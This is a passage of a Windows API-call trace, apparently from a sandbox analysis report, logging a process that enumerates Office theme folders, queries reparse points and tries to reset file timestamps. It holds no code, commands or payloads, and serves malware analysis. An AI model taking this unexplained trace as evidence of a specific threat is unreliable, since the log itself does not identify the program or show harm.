[0054.926] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.926] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0054.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa140 [0054.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefd5d0 [0054.926] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0054.926] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.926] GetLastError () returned 0x12 [0054.926] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.926] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.926] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.926] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85f400, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa85f400, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.ELM", cAlternateFileName="")) returned 1 [0054.926] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x20e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL.INF", cAlternateFileName="")) returned 1 [0054.926] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x563, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.926] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.926] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbbf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.927] GetLastError () returned 0x12 [0054.927] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0054.927] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.927] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.927] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.929] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0054.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.929] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0054.930] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefeb30 [0054.930] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefeb30, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefeb30, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.930] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefeb30) returned 1 [0054.930] NtClose (Handle=0x17c) returned 0x0 [0054.930] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.930] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefd6d8 [0054.930] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0054.931] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.931] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0054.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.931] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.931] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefd7e0 [0054.931] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa160 [0054.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefd8e8 [0054.931] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.931] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0054.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.931] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.931] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa180 [0054.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefd9f0 [0054.931] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.931] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.932] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.932] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa1a0 [0054.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefdaf8 [0054.932] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.932] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.932] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.932] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa1c0 [0054.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefdc00 [0054.932] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.932] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.932] GetLastError () returned 0x12 [0054.932] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.932] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0054.932] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.933] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107bd500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x107bd500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xc649, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.ELM", cAlternateFileName="")) returned 1 [0054.933] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.INF", cAlternateFileName="")) returned 1 [0054.933] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.933] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0054.933] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2d35, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0054.933] GetLastError () returned 0x12 [0054.933] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefd6d8) returned 1 [0054.933] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0054.933] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefd7e0) returned 1 [0054.933] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0054.933] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0054.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.933] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0054.940] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0054.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xefeb30 [0054.940] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xefeb30, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xefeb30, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0054.940] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefeb30) returned 1 [0054.940] NtClose (Handle=0x170) returned 0x0 [0054.940] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0054.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0054.940] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.940] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefd7e0 [0054.940] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0054.941] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.941] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x140f5c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x140f5c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x166d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.ELM", cAlternateFileName="")) returned 1 [0054.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.941] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.941] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefd6d8 [0054.941] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0054.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa1e0 [0054.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefdd08 [0054.941] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.941] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS.INF", cAlternateFileName="")) returned 1 [0054.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.941] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.941] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0054.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xefa200 [0054.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xefde10 [0054.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x840) returned 0xef8cd8 [0054.941] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xefe328) returned 1 [0054.941] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0054.941] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, 